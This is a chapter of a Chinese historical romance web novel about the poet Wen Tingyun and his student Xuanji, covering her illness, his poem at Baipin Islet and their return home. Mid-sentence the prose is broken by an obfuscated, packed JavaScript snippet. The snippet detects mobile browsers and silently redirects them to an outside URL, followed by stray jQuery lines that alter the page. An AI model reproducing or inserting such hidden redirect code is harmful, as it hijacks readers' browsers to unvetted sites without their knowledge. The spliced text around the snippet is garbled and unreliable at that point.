次日再去县衙书库查档，温庭筠不再只与玄机同行，而是叫上那名沉默寡言的老仆。到了库房，也不再是师徒二人并肩据案探讨，而是让老仆也在近处等候。
有时玄机就某个疑难处下意识地像往常一样低声请教，温庭筠依旧会解答，但身体会不着痕迹地往后微倾，拉开些许距离。
那份偶尔流露的忘年知己般的默契与随意，被他小心翼翼地收敛起来，包裹上一层无可指摘的、却也冰冷隔膜的师生礼数。
玄机何等敏感，立刻便察觉到了这细微却巨大的变化。先生在用这种笨拙却有效的方式，重新垒砌那堵被老媪的笑语冲垮的“礼法之墙”。
唯有在深夜，玄机独自在灯下整理白日笔录时，望着纸上熟悉的字迹，才会允许自己心底泛起一丝极淡的苦涩。
而温庭筠，亦会在独处时，于窗前伫立良久，眉宇间锁着一丝难以化开的沉郁。
不知不觉间，两人已在荆县停留了四月有余。县志的修订工程已近尾声，大部分繁重的考据编纂工作已然完成。然而，一场突如其来的秋寒席卷了县城，天气骤冷，阴雨连绵数日。
玄机或许是连日劳累，加之不适应这湿冷的天气，竟病倒了。起初只是些许咳嗽畏寒，她并未声张，强撑着整理最后几卷书稿。直至那日清晨，温庭筠见她还未来用早饭，让老仆去唤，才发现她已烧得满面通红，蜷在榻上，连起身的力气都没有了。
温庭筠闻讯，立刻请了郎中来看。郎中诊断是积劳成体，又感风寒，需得好生静养几日。他眉头紧锁，当即吩咐老仆去抓药、煎药，自己则亲自督促。
最初的一两日，他让老仆伺候汤药，自己每日过来探问一两次。然而，玄机却是病势沉沉，咳嗽不止。
第三日，玄机咳嗽得尤其厉害。老仆熬好了药端来，温庭筠正过来查看。“给我吧。”他从老仆手中接过药碗，在榻边的凳子上坐下。老仆识趣地退到外间等候。
“先生……”玄机挣扎着想坐起来，声音虚弱沙哑。
“别动。”温庭筠的声音不由自主地放柔了些许。他一手稳稳端着药碗，另一手下意识地探出，轻轻扶住她的后颈，助她微微抬头。他的指尖触及她滚烫的肌肤，两人俱是微微一颤。
玄机闭着眼，就着他的手，小口小口地吞咽着苦涩的药汁。她能清晰地感受到脑后那只手掌传来的、克制而稳重的力量，以及他近在咫尺的、带着淡淡书墨清香的呼吸。一种前所未有的脆弱感和依赖感攫住了她，让她鼻尖微微发酸。
喂完药，温庭筠并未立刻离开。他取过一旁的湿帕子，自然而然地接过帕子，浸水、拧干，然后——动作略显生疏笨拙地——轻轻敷在她依旧发烫的额头上。指尖不可避免地再次触碰到她细腻滚烫的皮肤，那温度仿佛一直烫进了他的心里。他迅速放下帕子，手指的触感却仿佛烙铁般挥之不去。
冰凉湿润的触感让玄机舒适地想喟叹。温庭筠迅速移开视线，"你好生歇着，若再不适，便让老仆唤我。"
正要起身时，袖口却是一紧。低头看去，只见玄机纤白的手指正轻轻攥着他的衣袍一角，因发热而泛红的眼尾微微上扬，带着几分平日绝不会显露的娇气："先生别走..."声音轻软，带着病中的沙哑，"我不想一个人。”
温庭筠望着她烧得通红的面颊，终是轻轻"嗯"了一声。窗外暮色渐沉，将他的身影拉成长长的影子投在绣屏上。他就这样静坐着，任她攥着衣袖，直到她的呼吸渐渐均匀绵长。
但即使在睡梦玄机仍蹙着眉，手指依旧紧紧攥着那角青衫，仿佛抓着世间最后的温暖。
温庭筠终是没有动，只是轻轻为她掖好被角，任由那方衣袍留在了她的掌心。
然而，自那日起，那层刻意维持的冰墙因这场病悄然融化了一道缝隙。温庭筠会在她稍有好转、拿着正在校订的书稿坐在不远处，轻声读给她听，既是解闷，也仿佛是一种无言的陪伴。
病去如抽丝。待到玄机终于痊愈，已是十月深秋。县志编修既毕，返程之日终至。马车驶出荆县城门时，道旁银杏已是满树金黄，秋风过处，落叶如蝶。
车马行至白蘋洲畔时，已是日暮时分。但见寒江浸月，几丛白蘋在晚风中瑟瑟摇动。温庭筠见天色已晚，便命仆从在江畔寻一处客栈投宿。
次日清晨，雨歇云收。温庭筠早早起身，信步至江边散心。晨雾朦胧中，忽见望江楼上有一熟悉身影。定睛看去，竟是玄机独自凭栏远眺。
她显然也是早起，未施粉黛，长发只松松绾就，一袭素白衣裙在晨风中飘飘欲飞。此刻她正凝神望着江面，不知在等待何人。朝阳初升，在她周身镀上一层淡淡金边，那景象，竟美得令人心颤。
温庭筠蓦地驻足，心中最柔软处被狠狠触动。一种难以言说的怜惜与悸动汹涌而来。
他急步返回客房，不及铺纸便就着窗台挥毫。笔走龙蛇间，满腔不可言说的情愫尽泻纸上：
梳洗罢，独倚望江楼。
过尽千帆皆不是，斜晖脉脉水悠悠。
肠断白蘋洲。
最后一笔落下时，墨迹淋漓。他凝视着"独倚"二字，眼前尽是玄机那抹孤寂身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445489|185083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
影。良久，忽然听得门外脚步声近，他慌忙将词笺塞入袖中，抬头正见玄机推门而入。
"先生，该用早膳了。"她轻声说道，目光掠过窗台上散乱的笔墨，却体贴地不提一字。
返回温府时，已快岁末。马车辘辘停在朱门外，只见府门洞开，两侧石狮肩头积着未扫的薄雪，俨然一副迎候的架势。
率先冲出来的是温珏。少年人身量又拔高了些，披着件石青缂丝斗篷，声音清亮带着雀跃：“爹爹！玄机师妹！可算回来了！”而温湘儿视乎比以前沉静了许多，身着藕荷色绣梅枝袄裙，笑容温婉：“爹爹辛苦。母亲日日念叨着呢。”
话音未落，正门内一道身影被丫鬟搀扶着缓步而出。正是温夫人。她身上裹着厚实的杏子黄锦缎镶风毛斗篷，面色较之前清减了不少。一阵冷风掠过，她便忍不住以帕掩口，低低咳嗽了两声，肩头微微瑟缩。
温庭筠几乎是立刻上前一步，自然而然地从丫鬟手中接过夫人的手臂，用自己的身躯为她挡住了风口。他的目光沉沉落在她缺乏血色的脸上，眉头几不可察地蹙了一下“药可都按时吃了？不是嘱咐过要好生静养，怎的还站在风口里？”他的视线快速扫过她周身，像是要确认她是否穿戴得足够暖和，握着她的手肘的手指微微收紧。
“吃了吃了，都依着大夫的吩咐。”温夫人温顺应答，仰头看他时，眼底有柔和的微光流转“不碍事的。听见车马声，哪里还坐得住？再说，”她声音放轻了些，仅容他听见，“你回来了，我这病就好了一大半。”
温庭筠闻言，极其自然地将她斗篷的风帽往前拢了拢，确保那细软的风毛能护住她的额鬓，动作熟稔而轻柔。“胡闹，”他低声说，语气却已软了下来，“若是加重了，岂不更让人心焦。”
温夫人笑着：“还不快去帮你爹爹和阿姊拿行李？湘儿，去吩咐厨房，把一直温着的姜枣茶立刻端到暖阁来。”一番安排，虽气息稍弱，却仍是往日里主持中馈的妥帖周到。
玄机忙上前一步，行礼“夫人，您身体不适，不该出来的。”她轻声道，语气里带着担忧。
温夫人摇摇头，又咳一声，才微笑道：“不碍事。看见你们回来，我心里一高兴，倒觉得身上松快了些。”
温珏早已欢快地指挥着小厮搬运行李箱笼，湘儿也快步往厨房方向去了。
玄机跟在众人身后半步，望着前方那一对并肩的身影，夫人微微倚靠着师父，师父的脚步也刻意放缓迁就着。府内廊下早已点亮了灯笼，晕黄的光影洒落在积雪未尽的庭院中，将那相互扶持的背影拉得很长。